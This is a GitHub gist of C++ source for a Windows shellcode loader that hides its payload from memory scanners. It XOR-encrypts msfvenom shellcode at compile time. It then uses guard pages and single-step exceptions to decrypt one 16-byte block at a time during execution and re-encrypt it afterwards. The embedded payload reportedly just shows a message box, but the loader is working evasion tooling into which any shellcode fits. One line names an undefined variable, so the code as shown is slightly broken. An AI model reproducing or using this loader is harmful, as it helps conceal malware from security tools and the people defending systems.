Skip to content

Instantly share code, notes, and snippets.

@adenkiewicz
Forked from jackullrich/mainc.c
Last active December 2, 2021 15:44
Show Gist options
  • Save adenkiewicz/dc940fe717966699683da3a172380097 to your computer and use it in GitHub Desktop.
Save adenkiewicz/dc940fe717966699683da3a172380097 to your computer and use it in GitHub Desktop.
Single Step Encryption/Decryption
#include <Windows.h>
LONG SingleStepEncryptDecrypt(EXCEPTION_POINTERS* ExceptionInfo);
typedef VOID(__stdcall* Shellcode)();
LPBYTE ShellcodeBuffer;
ULONG_PTR PreviousOffset;
ULONG_PTR CurrentOffset;
ULONGLONG InstructionCount;
DWORD dwOld;
constexpr char KEY = 0xFF;
// Hello World! shellcode generated with msfvenom -p windows/messagebox
// it's non-encrypted here, but will be encrypted compile-time
constexpr unsigned char sc[400] =
{
0xd9,0xeb,0x9b,0xd9,0x74,0x24,0xf4,0x31,0xd2,0xb2,0x77,0x31,0xc9,0x64,0x8b,
0x71,0x30,0x8b,0x76,0x0c,0x8b,0x76,0x1c,0x8b,0x46,0x08,0x8b,0x7e,0x20,0x8b,
0x36,0x38,0x4f,0x18,0x75,0xf3,0x59,0x01,0xd1,0xff,0xe1,0x60,0x8b,0x6c,0x24,
0x24,0x8b,0x45,0x3c,0x8b,0x54,0x28,0x78,0x01,0xea,0x8b,0x4a,0x18,0x8b,0x5a,
0x20,0x01,0xeb,0xe3,0x34,0x49,0x8b,0x34,0x8b,0x01,0xee,0x31,0xff,0x31,0xc0,
0xfc,0xac,0x84,0xc0,0x74,0x07,0xc1,0xcf,0x0d,0x01,0xc7,0xeb,0xf4,0x3b,0x7c,
0x24,0x28,0x75,0xe1,0x8b,0x5a,0x24,0x01,0xeb,0x66,0x8b,0x0c,0x4b,0x8b,0x5a,
0x1c,0x01,0xeb,0x8b,0x04,0x8b,0x01,0xe8,0x89,0x44,0x24,0x1c,0x61,0xc3,0xb2,
0x08,0x29,0xd4,0x89,0xe5,0x89,0xc2,0x68,0x8e,0x4e,0x0e,0xec,0x52,0xe8,0x9f,
0xff,0xff,0xff,0x89,0x45,0x04,0xbb,0x7e,0xd8,0xe2,0x73,0x87,0x1c,0x24,0x52,
0xe8,0x8e,0xff,0xff,0xff,0x89,0x45,0x08,0x68,0x6c,0x6c,0x20,0x41,0x68,0x33,
0x32,0x2e,0x64,0x68,0x75,0x73,0x65,0x72,0x30,0xdb,0x88,0x5c,0x24,0x0a,0x89,
0xe6,0x56,0xff,0x55,0x04,0x89,0xc2,0x50,0xbb,0xa8,0xa2,0x4d,0xbc,0x87,0x1c,
0x24,0x52,0xe8,0x5f,0xff,0xff,0xff,0x68,0x6f,0x78,0x58,0x20,0x68,0x61,0x67,
0x65,0x42,0x68,0x4d,0x65,0x73,0x73,0x31,0xdb,0x88,0x5c,0x24,0x0a,0x89,0xe3,
0x68,0x58,0x20,0x20,0x20,0x68,0x4d,0x53,0x46,0x21,0x68,0x72,0x6f,0x6d,0x20,
0x68,0x6f,0x2c,0x20,0x66,0x68,0x48,0x65,0x6c,0x6c,0x31,0xc9,0x88,0x4c,0x24,
0x10,0x89,0xe1,0x31,0xd2,0x52,0x53,0x51,0x52,0xff,0xd0,0x31,0xc0,0x50,0xff,
0x55,0x08
};
template <unsigned int N, unsigned char key = KEY>
struct Encryptor {
char encrypted[N] {0};
// simple compile-time encrypter with 1 byte key
constexpr Encryptor(const unsigned char orig[N]) {
for (auto i = 0; i < N; ++i)
encrypted[i] = orig[i] ^ key;
}
};
constexpr auto Shellcode_XOR = Encryptor<sizeof(sc)>(sc);
LONG SingleStepEncryptDecrypt(EXCEPTION_POINTERS* ExceptionInfo)
{
BYTE* currentBlock128 = NULL;
CurrentOffset = (ULONG_PTR)ExceptionInfo->ExceptionRecord->ExceptionAddress - (ULONG_PTR)ShellcodeBuffer;
if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_GUARD_PAGE)
{
// This is a naive disassembler
// Hopefully no instruction is longer than 16 bytes
currentBlock128 = (BYTE*)((ULONG_PTR)ShellcodeBuffer + CurrentOffset);
PreviousOffset = CurrentOffset;
// Decrypt next 16-byte block
VirtualProtect(ShellcodeBuffer, 0x1000, PAGE_READWRITE, &dwOld);
for (size_t i = 0; i < 0x10; i++)
*(BYTE*)(currentBlock128 + i) ^= KEY;
VirtualProtect(ShellcodeBuffer, 0x1000, PAGE_EXECUTE_READ, &dwOld);
// Single step
ExceptionInfo->ContextRecord->EFlags |= 0x100;
InstructionCount++;
// Execute next instruction
// Triggers EXCEPTION_SINGLE_STEP
return EXCEPTION_CONTINUE_EXECUTION;
}
else if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP)
{
currentBlock128 = (BYTE*)((ULONG_PTR)ShellcodeBuffer + PreviousOffset);
// Re-encrypt the 16-byte block
VirtualProtect(ShellcodeBuffer, 0x1000, PAGE_READWRITE, &dwOld);
for (size_t i = 0; i < 0x10; i++)
*(BYTE*)(currentBlock128 + i) ^= KEY;
VirtualProtect(ShellcodeBuffer, 0x1000, PAGE_EXECUTE_READ | PAGE_GUARD, &dwOld);
// Continue execution at next instruction
// Triggers EXCEPTION_GUARD_PAGE
return EXCEPTION_CONTINUE_EXECUTION;
}
else
{
return EXCEPTION_CONTINUE_SEARCH;
}
}
int main(void)
{
AddVectoredExceptionHandler(TRUE, (PVECTORED_EXCEPTION_HANDLER)SingleStepEncryptDecrypt);
ShellcodeBuffer = (LPBYTE)VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
InstructionCount = 0;
if (ShellcodeBuffer)
{
RtlCopyMemory(ShellcodeBuffer, Shellcode_XOR.encrypted, sizeof(Shellcode_XOR_FF));
if (VirtualProtect(ShellcodeBuffer, 0x1000, PAGE_EXECUTE_READ | PAGE_GUARD, &dwOld))
{
Shellcode AntiMem = (Shellcode)ShellcodeBuffer;
AntiMem();
}
}
RemoveVectoredExceptionHandler((PVECTORED_EXCEPTION_HANDLER)SingleStepEncryptDecrypt);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment